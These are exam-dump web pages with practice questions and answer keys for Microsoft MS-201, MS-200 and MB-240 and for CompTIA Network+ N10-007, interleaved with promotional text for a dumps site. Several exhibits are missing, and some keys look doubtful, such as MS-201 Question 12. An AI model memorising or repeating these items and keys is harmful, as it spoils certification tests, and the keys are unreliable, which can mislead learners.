QUESTION 3 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this scenario, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. You have a Microsoft Exchange Server 2019 organization. You discover that users rarely delete items from their Sent Items folder and their Deleted Items folder. You need to recommend a solution to automatically reduce the size on the primary mailbox of each user. Solution: You recommend configuring a retention policy that contains two personal tags. Does this meet the goal? A. Yes B. No Correct Answer: B
QUESTION 4 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this scenario, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. You have a Microsoft Exchange Server 2019 organization. You discover that users rarely delete items from their Sent Items folder and their Deleted Items folder. You need to recommend a solution to automatically reduce the size on the primary mailbox of each user. Solution: You recommend configuring a retention policy that contains two default policy tags. Does this meet the goal? A. Yes B. No Correct Answer: B
QUESTION 5 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this scenario, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. Your company has a Microsoft 365 subscription. Several users in the finance department of the company recently accesses unsafe websites by clicking on links in email messages. Users in the marketing department of the company report that they must be able to access all the links embedded in email messages. You need to reduce the likelihood of the finance department users accessing unsafe websites. The solution must affect only the finance department users. Solution: You create a new safe links policy. Does this meet the goal? A. Yes B. No Correct Answer: B References: https://blog.netwrix.com/2019/01/24/make-the-most-of-exchange-online-advanced-threat-protection/
QUESTION 6 You have a Microsoft Exchange Server 2019 organization. You need to prevent credit card information from being emailed outside of the organization. Users must be informed of any potential breaches before sending email. What should you create? A. a journal rule B. a retention policy C. a retention tag D. a data loss prevention (DLP) policy Correct Answer: D References: https://docs.microsoft.com/en-us/office365/securitycompliance/data-loss-prevention-policies
QUESTION 7 You have a Microsoft Exchange Server 2019 organization. You plan to purchase a Microsoft 365 E5 subscription and create a hybrid deployment. You are evaluating the security requirements for communication between the on-premises and Exchange Online. You need to ensure that Exchange Online services can access the necessary on-premises virtual directories. Which two on-premises virtual directories should be accessible to Exchange Online services? Each correct answer presents part of the solution. NOTE: Each correct selection is worth one point. A. Rpc B. EWS C. PowerShell D. ecp E. mapi F. Autodiscover Correct Answer: EF References: https://docs.microsoft.com/en-us/office365/enterprise/configure-exchange-server-for-hybrid-modern-authentication
QUESTION 8 HOTSPOT You have a Microsoft Exchange Server 2019 hybrid deployment. You plan to enable Hybrid Modern Authentication (HMA). You run the Get-MapiVirtualDirectory cmdlet and receive the output shown in the following exhibit.
Use the drop-down menus to select the answer choice that completes each statement based on the information presented in the graphic. NOTE: Each correct selection is worth one point. Hot Area:
QUESTION 9 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this scenario, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. You have a Microsoft Exchange Server 2019 organization. You discover that users rarely delete items from their Sent Items folder and their Deleted Items folder. You need to recommend a solution to automatically reduce the size on the primary mailbox of each user. Solution: You recommend creating an archive mailbox for each user and configuring a retention policy that moves items to the archive mailbox. Does this meet the goal? A. Yes B. No Correct Answer: A
QUESTION 10 Overview General Overview Contoso, Ltd. is a national freight company in the United States. The company has 15,000 employees. PhysicalLocations Contoso has a main office in Houston and 10 branch offices that each contains 1,000 employees. ExistingEnvironment Active Directory and Microsoft Exchange Server Environments The network contains an Active Directory forest named contoso.com. The forest contains one root domain named contoso.com and 10 child domains. All domain controllers run Windows Server 2019. The forest has Active Directory Certificate Services (AD CS) and Active Directory Federation Services (AD FS) deployed. You have a hybrid deployment of Exchange Server 2019 and Microsoft Office 365. There are 2,000 user mailboxes in Exchange Online. Each office contains two domain controllers and two Mailbox servers. the main office also contains an Edge transport server. The organization contains 100 public folders. The folders contain 80 GB of content. All email messages sent to contoso.com are delivered to Exchange Online. All messages sent to onpremises mailboxes are routed through the Edge Transport server. Advanced Threat Protection (ATP) is enabled and configured for the Office 365 tenant. NetworkInfrastructure Each office connects directly to the Internet by using a local connection. The offices connect to each other by using a WAN link. Requirements Planned Changes Contoso plans to implement the following changes: 1. or all new users in the on-premises organization, provide an email address that uses the value of the Last Name attribute and the first two letters of the First Name attribute as a prefix. 2. ecommission the public folders and replace the folders with a Microsoft 265 solution that maintains web access to the content. Technical Requirements Contoso identifies the following technical requirements: 1. All email messages sent from a SMTP domain named adatum.com must never be identified as spam. 2. Any solution to replace the public folders must include the ability to collaborate with shared calendars. Security Requirements Contoso identifies the following security requirements: 1. The principle of least privilege must be applied to all users and permissions. 2. All email messages sent from an SMTP domain named com to contoso.com must be encrypted. 3. All users must be protected from accessing unsecure websites when they click on URLs embedded in email messages. 4. If a user attempts to send an email message to a distribution group that contains more than 15 members by using Outlook, the user must receive a warning before sending the message. Problemstatements Recently, a user named HelpdeskUser1 erroneously created several mailboxes. Helpdesk1user1 is a member of the Recipient Management management role group. Users who have a mailbox in office 365 report that it takes a long time for email messages containing attachments to be delivered. Exhibit
You need to resolve the email delivery delay issue. What should you do? A. From the Security and Compliance admin center, modify the safe attachments policy B. From the Security and Compliance admin center, create a supervision policy. C. From the Exchange admin center in Exchange Online, modify the antimalware policy. D. From the Exchange admin center in Exchange Online, modify the spam filter policy. Correct Answer: A References: https://docs.microsoft.com/en-us/office365/securitycompliance/dynamic-delivery-and-previewing
QUESTION 11 HOTSPOT You have a Microsoft Exchange Server 2019 hybrid deployment. You have the on-premises mailboxes shown in the following table.
You add the mailbox permissions shown in the following table.
You plan to migrate the mailboxes to Exchange Online by using remote mailbox move requests. The mailboxes will be migrated according to the schedule shown in the following table.
Mailboxes migrated the same week will have their mailbox move requests included in the same batch and will be cut over simultaneously. For each of the following statements, select Yes if the statement is true. Otherwise, select No. NOTE: Each correct selection is worth one point. Hot Area:
QUESTION 12 You have a Microsoft Exchange Server 2019 organization. You run the following commands. New-Management-Scope –Name “VIP Mailboxes” –RecipientRoot “Contoso.com/Executives” –RecipientRestrictionFilter (RecepientType –eq “UserMailbox”) New-ManagementRoleAssignment –SecurityGroup “VIP Admins” –Role “Mail Recipients” –CustomRecipientWriteScope “VIP Mailboxes” You have a user named Admin1. You need to ensure that Admin1 can manage the mailboxes of users in the Executives organizational unit (OU) only. What should you do? A. Modify the membership of VIP Admins. B. Create a custom role group. C. Add Admin1 to the Recipient Management role group. D. Move Admin1 to the Executives OU. Correct Answer: C References: https://social.technet.microsoft.com/Forums/exchange/en-US/b316a841-c39d-483a-ac8e-64d5904c42e6/how-to-limit-recipient-management-rights-to-users-in-a-ou-in-exchange-2010-sp1?forum=exchangesvradminlegacy
QUESTION 13 DRAG DROP Your company has 5,000 Microsoft Exchange Server 2019 mailboxes. The company is implementing a new application named HR1 that integrates with Exchange. HR1 runs on a server named HRSERVER. You create a new mailbox named HRService for the service account of HR1. You need to ensure that HR1 can sync contacts from all the mailboxes in the Exchange organization concurrently by using an Exchange ActiveSync connection. How should you complete the PowerShell script? To answer, drag the appropriate values to the correct targets. Each value may be used once, more than once, or not at all. You may need to drag the split bar between panes or scroll to view content. NOTE: Each correct selection is worth one point. Select and Place:
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It’s not easy to pass the Microsoft MS-201 exam, but with accurate learning materials and proper practice, you can crack the exam with excellent results. https://www.lead4pass.com/ms-201.html provides you with the most relevant learning materials that you can use to help you prepare.
How can I pass the Microsoft MS-200 exam with authentic and up-to-date dumps? Examkraft shares the latest and effective Microsoft MS-200 exam questions and answers, online practice tests, and the most authoritative Microsoft exam experts update MS-200 exam questions throughout the year. Get the full MS-200 exam dumps selection: https://www.lead4pass.com/ms-200.html (104 Q&As). Pass the exam with ease!
Candidates for this exam are Messaging Administrators who deploy, configure, manage, troubleshoot, and monitor recipients, permissions, mail protection, mail flow, and public folders in both on-premises and cloud enterprise environments.
Messaging Administrators are responsible for managing hygiene, messaging infrastructure, hybrid configuration, migration, disaster recovery, high availability, and client access.
Messaging Administrators collaborate with the Security Administrator and Microsoft 365 Enterprise Administrator to implement a secure hybrid topology that meets the business needs of a modern organization.
The Messaging Administrator should have a working knowledge of authentication types, licensing, and integration with Microsoft 365 applications.
Skills measured
Manage modern messaging infrastructure (45-50%)
Manage mail flow topology (35-40%)
Manage recipients and devices (15-20%)
Latest updates Microsoft MS-200 exam practice questions
QUESTION 1 HOTSPOT You have a Microsoft Exchange Online subscription that contains the groups shown in the following table.
You have the recipients shown in the following table.
The groups contain the members shown in the following table.
For each of the following statements, select Yes if the statement is true. Otherwise, select No. NOTE: Each correct selection is worth one point. Hot Area:
QUESTION 2 Your company named Contoso, Ltd. has a Microsoft Exchange Online subscription. You have several transport rules. The rules automatically apply a disclaimer to email messages that contain certain keywords in the subject and are sent to recipients in an email domain named fabrikam.com. You receive a report that some messages are delivered without the disclaimer. You need to view which transport rules were applied to messages sent to the fabrikam.com recipients. What should you use? A. a URL trace B. a message trace C. the SMTP protocol logs D. the transport logs Correct Answer: B References: https://docs.microsoft.com/en-us/exchange/monitoring/trace-an-email-message/run-a-message-trace-and-view-results
QUESTION 3 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. Your company has a Microsoft Exchange Server 2019 server named EX01. EX01 has the default Receive connectors. EX01 receives Internet email on port 25 from an appliance in the company\\’s perimeter network. The company has an application named App1 that can only send email on port 25. The application administrator requests that you enable App1 to route email through EX01 for delivery. You need to ensure that EX01 only accepts email from the appliance and App1. Solution: You create a new remote domain and set the domain name to App1. You create a new delivery agent connector and set the IsScopedConnector property to $true. Does this meet the goal? A. Yes B. No Correct Answer: B
QUESTION 4 You plan to deploy a Microsoft Exchange Server 2019 organization that will contain the servers shown in the following table.
The sites connect to each other by using a high-cost, slow WAN link. Each site also connects directly to the Internet. You need to ensure that outgoing email to the Internet always uses a server in the local site. What should you create? A. one Send connector that uses two smart hosts B. two Send connectors that use different smart hosts C. two scoped Send connectors that have the same namespace D. two Send connectors that have different namespaces Correct Answer: C
QUESTION 5 DRAG DROP You have a Microsoft Exchange Server 2016 organization. Users access their email by using a URL of https://mail.contoso.com. You are installing a new Exchange Server 2019 Mailbox server to replace an existing Exchange Server 2016 server. You need to secure all the Exchange services by using a certificate. The solution must minimize warnings on client computers. Which three actions should you perform in sequence? To answer, move the appropriate actions from the list of actions to the answer area and arrange them in the correct order. Select and Place:
Correct Answer:
QUESTION 6 Your network contains two Active Directory sites named Site1 and Site2. You deploy a new Microsoft Exchange Server 2019 organization that contains a Mailbox server in each site. You need to configure the organization to use a single namespace for Autodiscover. What should you do? A. Create an SRV record named AutoDiscover. B. Create a TXT record named AutoDiscover. C. Run the Set-ClientAccessService cmdlet. D. Run the Set-AutodiscoverVirtualDirectory cmdlet. Correct Answer: C
QUESTION 7 You need to restore mailbox access for the main office users as quickly as possible. What should you do? A. Create a recovery database on another Exchange server, and then restore the database from EX07 to the recovery database. B. On a server in DAG15, create a copy of the mailbox databases hosted on EX07. C. Copy the database files from EX07, and then mount the database on a server in DAG15. D. On a new server, run setup.exe /Mode:RecoverServer from the Exchange Server 2019 installation media and then restore a backup of the database. Correct Answer: D
QUESTION 8 HOTSPOT You have a Microsoft Exchange Server 2019 organization. You configure the accepted domains as shown in the following table.
You configure the MX records in DNS as shown in the following table.
In the Exchange organization you create a mail user named User1 who has the following email addresses: [email protected][email protected][email protected] For each of the following statements, select Yes if the statement is true. Otherwise, select No. NOTE: Each correct selection is worth one point. Hot Area:
Correct Answer:
QUESTION 9 HOTSPOT You have a Microsoft Exchange Server organization that contains the servers shown in the following table.
Users access their email by using Outlook on the web. You install Office Online Server in the London and Seattle offices. You need to ensure that users can view Microsoft Office attachments within Outlook on the web without downloading the attachments. The solution must ensure that the users can open the attachments by using the nearest server that runs Office Online Server. How should you complete the command? To answer, select the appropriate options in the answer area. NOTE: Each correct selection is worth one point. Hot Area:
Correct Answer:
QUESTION 10 HOTSPOT After you deploy the Exchange organization, you run the Get-ActiveSyncDeviceAccessRule cmdlet, and you receive the following output.
For each of the following statements, select Yes if the statement is true. Otherwise, select No. NOTE: Each correct selection is worth one point. Hot Area:
Correct Answer:
The rule is incorrectly configured so nothing will be blocked. The QueryString parameter specifies the device identifier that\\’s used by the rule, not the software.
QUESTION 11 HOTSPOT You have a Microsoft Exchange Server 2019 organization named litwareinc.com. The organization publishes Exchange services by using a namespace of mail.litwareinc.com. You deploy a new server named EX10 to the organization. User reports that sometimes they receive warnings about certificate errors when they connect to their mailbox. The warning message reference is ex10.litwareinc.com. You need to resolve the issue. How should you complete the command? To answer, select the appropriate options in the answer area. NOTE: Each correct selection is worth one point. Hot Area:
Correct Answer:
QUESTION 12 You need to meet the technical requirements for the mobile device of User2. Which cmdlet should you run? A. Remove-MobileDevice B. Clear-MobileDevice C. Clear-Content D. Remove-ActiveSyncDevice Correct Answer: B
QUESTION 13 You need to implement the required changes to the current Exchange organization for the Fabrikam partnership. Which two actions should you perform? Each correct answer presents part of the solution. NOTE: Each correct selection is worth one point. A. Set up directory synchronization. B. Create a remote domain. C. Configure an email address policy. D. Configure an external relay accepted domain. E. Configure an internal relay accepted domain. Correct Answer: CE References: https://docs.microsoft.com/en-us/exchange/mail-flow/accepted-domains/accepted-domains?view=exchserver-2019
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It’s not easy to pass the Microsoft MS-200 exam, but with accurate learning materials and proper practice, you can crack the exam with excellent results. https://www.lead4pass.com/ms-200.html provides you with the most relevant learning materials that you can use to help you prepare.
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Candidates for this exam are Microsoft Dynamics 365 Customer Engagement functional consultants with Field Service expertise. Candidates are responsible for implementing solutions that manage resources that complete the field service lifecycle.
Candidates implement the field service processes designed in collaboration with internal and external teams. This collaboration includes configuring the default administration areas of the Field Service application, deploying the Connected Field Service (IoT) solution and the mobile application, and implementing any additionally needed customizations. Candidates are responsible for the configuration and deployment of the Field Service application in conjunction with the core customer service application.
Candidates must have knowledge of how to configure and customize components of the Field Service application, including configuring services, resources, characteristics, incidents, inventory integration, service agreements, resource scheduling, work orders, service tasks, field service user roles, field service settings, the Connected Field Service (IoT) solution, and configuration of the Field Service Mobile app.
Skills measured
Configure field service applications (20-25%)
Manage work orders (15-20%)
Schedule and dispatch work orders (20-25%)
Manage field service mobility (10-15%)
Manage inventory and purchasing (10-15%)
Manage assets and agreements (10-15%)
Latest updates Microsoft MB-240 exam practice questions
QUESTION 1 You are a Dynamics 365 for Field Service scheduler using the Schedule Assistant. You notice the Schedule Assistant always sets the Default Radius to 25 KM. Which two options should you choose? Each correct answer presents a complete solution. A. Set the Default Radius Unit to Miles under Field Service Settings, Work Order/Booking section. B. Set the Default Radius Value to 50 under Scheduling Parameters. C. Set the Default Radius Value to 50 under Field Service Settings, Work Order/ Booking section. D. Set the Default Radius Unit to Miles under Scheduling Parameters. Correct Answer: BD
QUESTION 2 Your company processes a large number of work orders each day. The company wants to ensure the high priority work orders are dealt with immediately. You need to configure the schedule board so that bookings are easily visible to the dispatchers. How can you configure Dynamics Field Services to increase booking visibility? A. Configure a work order type for high priority issues, to help categorize high priority work order records. B. Configure an Incident type for high priority incidents on work order records. C. Configure the status color for a booking status record, to identify high priority work order records. D. Configure a priority record to allow you to identify high priority work order records. Correct Answer: C
QUESTION 3 You are a Dynamics 365 for Field Service Mobile customizer. Your mobile technicians indicate that when in offline mode, they do not have access to the same data set that is available online. Offline mode contains less account and work order data, and users cannot see warehouses. You need to determine which updates to make within the mobile project so that technicians can see the appropriate information. Which three actions should you choose? Each correct answer presents a complete solution. A. Update Synchronization setting to Always Full Sync. B. Update entity Sync Filter. C. Update View filters. D. Update the Max Sync Records setting. E. Update the entity Mode to Online and Offline. Correct Answer: BDE
QUESTION 4 As a new start-up field services company, you are looking to streamline your customer service process to provide the best customer service experience. Your company has decided to implement Dynamics Field Services as the foundation for its customer service management processes. You need to ensure that the cases that the customer service team creates can be quickly and efficiently converted to work orders (that will minimize the need to add additional information to the work orders) using the out-of-the-box capabilities. Which key item do you need to configure before the customer service agents will be able to convert a case to a work order? A. Resources B. Work Order Types C. Booking Rules D. Incident Type Correct Answer: D References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/configure-incident-types
QUESTION 5 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. You are a Dynamics 365 for Field Service system administrator. You are configuring a new instance of Dynamics 365 for Field Service. The organization needs to automatically generate work orders based on agreements, and send invoices on a recurring basis by customer. Solution: You implement the following configuration changes. 1) Create Agreement 2) Define Booking Setup 3) Set Booking Recurrence 4) Create Invoice Setup 5) Define Invoice Recurrence Does this meet the goal? A. Yes B. No Correct Answer: A
QUESTION 6 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. You are a Dynamics 365 for Field Service system administrator. You are configuring a new instance of Dynamics 365 for Field Service. The organization needs to accurately capture the cost of work order bookings. Solution: You implement the following configuration changes: 1) Create Resource Pay Types for regular, holiday, overtime, travel, and breaks. 2) Assign an Hourly Markup percentage to each Resource Pay Type. 3) Assign Resource Pay Types to the applicable Pay Type. 4) Create Business Closures. 5) Create Bookable Resources with Hourly Rates. Does this meet the goal? A. Yes B. No Correct Answer: B
QUESTION 7 You are a Dynamics 365 Field Service dispatcher using the Scheduling Assistant function. One of your customers, Adventure Works, does not want one of your resources to be scheduled to work orders going forward. The resource must be able to be scheduled for other accounts. How can you achieve this goal? A. Create a Requirement Resource Preference record for the resource. Set the Preference Type to Restricted and Cascade to No. B. Create a Requirement Resource Preference record for the resource. Set the Preference Type to Restricted and Account to Adventure Works. C. Select Load the Default Filters on the Schedule Board. D. Create a Requirement Resource Preference record for the resource. Correct Answer: B
QUESTION 8 You work for a recycling company that provides customers with large compactor units to collect their recyclable materials. The compactor units are comprised of two separate components: a container to collect the recyclable materials and a separate component that compacts the recyclable materials to make them easier to transport. These containers are expensive, and the components tend to break down frequently, requiring ongoing maintenance and repairs. You need to easily track the containers that your company has at each client location and maintain a service history for each of the sub-components. A. Configure the customer asset records hierarchically, and maintain service history at the sub-component level. B. Configure the customer inventory records individually, in order to maintain the service history at the parent component level. C. Configure the customer inventory records in a hierarchy, and maintain service history at the sub-component level. D. Configure the customer asset records hierarchically, and maintain service history at the service account level. Correct Answer: A References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/configure-set-up-customer-assets
QUESTION 9 The company has hired a new manager to set up and configure Field Service to automatically schedule work orders to the most appropriate resource scheduling. The manager is unable to optimize requirements and bookings related to work orders. Which three settings are required? Each correct answer presents part of the solution. A. Assign the Field Service-Administrator security role to the RSO user. B. Add the RSO dispatcher role to a dispatcher. C. Enable Resource Scheduling Optimization. D. Set Connect to Maps as Yes. E. Add RSO to the profile Field Service-Administrator. Correct Answer: CDE References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/rso-configuration
QUESTION 10 Contoso, Ltd has just acquired a new company in order to increase the services it offers to its customers. Contoso, Ltd. wants to ensure that it is able to track all of the stages in its service management workflow, including the services offered by the new service company. You need to configure Dynamics 365 CE for Field Services to ensure that all of the necessary status values are configured correctly to track your company\\’s unique business process. Which action must you perform? A. Edit the existing system status field values. B. Create the necessary sub-status values. C. Create the necessary system status values. D. Create the necessary service task values. Correct Answer: B
QUESTION 11 You are a Field Service resource manager for Contoso, Ltd. and are setting up characteristics for field technicians who are responsible for repairs on rental equipment. Work performed on certain types of backhones, trenchers, and excavating equipment requires different attributes to be identified for proper work order assignment and scheduling. Which two characteristics are valid? Each correct answer presents a complete solution. A. Certification B. Approval Status C. Skill D. Rating Value Correct Answer: AC References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/set-up-bookable-resources#set-up-field-technician-resources
QUESTION 12 You are in charge of setting up the new Dynamics 365 CE Field Services environment for your company. As the field Service Administrator, you need to configure the field service settings for work orders for your environment. Which three work order settings can be configured by the Field Service Administrator? Each correct answer presents a complete solution. A. Default work order type B. Auto generate resource requirement for work order C. Work order invoice creation D. Default work order completed status E. Auto generate work order for agreement booking Correct Answer: ABD
QUESTION 13 You are entering products and services into Dynamics 365 CE Field Services. You need to ensure that your field technicians can use the products when completing work orders. Which two field service product types should you configure to allow your technicians to add work order products? Each correct answer presents a complete solution. A. Product B. Non Inventory C. Inventory D. Service Correct Answer: CD References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/create-product-or-service
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Summarize:
It’s not easy to pass the Microsoft MB-240 exam, but with accurate learning materials and proper practice, you can crack the exam with excellent results. https://www.lead4pass.com/mb-240.html provides you with the most relevant learning materials that you can use to help you prepare.
N10-007 exam: CompTIA Network+ N10-007 has been updated and reorganized to address the current networking technologies with expanded coverage of several domains by adding:
Critical security concepts to helping networking professionals work with security practitioners
Key cloud computing best practices and typical service models
Coverage of newer hardware and virtualization techniques
Concepts to give individuals the combination of skills to keep the network resilient
QUESTION 1 Which of the following would Kim, a technician, do to monitor remote traffic through an access point? A. Enable an SNMP agent B. Enable network mapping C. Set monitoring SSID D. Select WPA2 Correct Answer: A
QUESTION 2 Which of the following MUST be used when securing a VoIP network consisting of private IP addresses? A. IPS B. Application layer firewall C. IDS D. An unmanaged switch Correct Answer: B
QUESTION 3 Tenants access multiple wireless networks in a building. Users report intermittent connectivity. Which of the following is the MOST likely cause of the problem? A. The channels are overlapping with other wireless networks and should be changed. B. The SSIDs are incompatible and should be renamed. C. The users have incompatible wireless network cards and should upgrade. D. The default idle period for logoff is too short and should be changed to a longer limit. Correct Answer: A
QUESTION 4 A network technician is troubleshooting intermittent issues with VoIP call quality. A throughput tester can help assess the functionality of which of the following? A. LLDP B. VLAN tagging C. QoS D. SIP trunking Correct Answer: C
QUESTION 5 A national cable company providing TV, telephone, and Internet service to home users over its IP network, has been tracking a large increase of network bandwidth due to P2P file sharing. Which of the following should the company deploy to ensure excellent TV and telephone service? A. QoS B. Load balancing C. High availability D. Fiber optics Correct Answer: A
QUESTION 6 company wants the public to be able to connect to the wireless network with minimal security, but not be able to connect to the private internal network. Which of the following firewall rules would BEST accomplish this? A. Content filtering on the wireless access point B. Allow traffic from the wireless access point C. Block traffic from the wireless access point D. Packet filtering on the wireless access point Correct Answer: C
QUESTION 7 Which of the following solutions will detect and disable a rogue access point? A. Port scan B. Packet sniffer C. IPS D. IDS Correct Answer: C
QUESTION 8 Which of the following cable types have a rated MAXIMUM bandwidth of 100Mbps? A. CAT3 B. CAT5 C. CAT5e D. CAT6 Correct Answer: B
QUESTION 9 A user reports a network failure on a computer. The technician determines that the computer and NIC are operating properly. Which of the following tools can the technician use to trace the network cabling back to the punch down block? A. Protocol analyzer B. Multimeter C. Punch down tool D. Toner probe Correct Answer: D
QUESTION 10 A network technician is troubleshooting an issue and has established a theory of probable cause. Which of the following steps should the network technician take NEXT? A. Test the possible solution B. Q1 the users C. Determine what has changed D. Document the theory Correct Answer: A
QUESTION 11 A network technician is assisting the security team with some traffic captures. The security team wants to capture all traffic on a single subnet between the router and the core switch. To do so, the team must ensure there is only a single collision and broadcast domain between the router and the switch from which they will collect traffic. Which of the following should the technician install to BEST meet the goal? A. Bridge B. Crossover cable C. Hub D. Media converter Correct Answer: C
QUESTION 12 Which of the following problems is MOST likely to arise when configuring an IPv6 over IPv4 tunnel? A. Routing loop B. MTU black hole C. Framing errors D. SYN flood Correct Answer: B
QUESTION 13 Joe, an employee at a large regional bank, wants to receive company email on his personal smartphone and table: To authenticate on the mail server, he must first a custom security application on those mobile services. Which of the following policies would BEST enforce this requirement? A. Incident response policy B. BYOD policy C. DLP policy D. Remote access policy Correct Answer: B
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Summarize:
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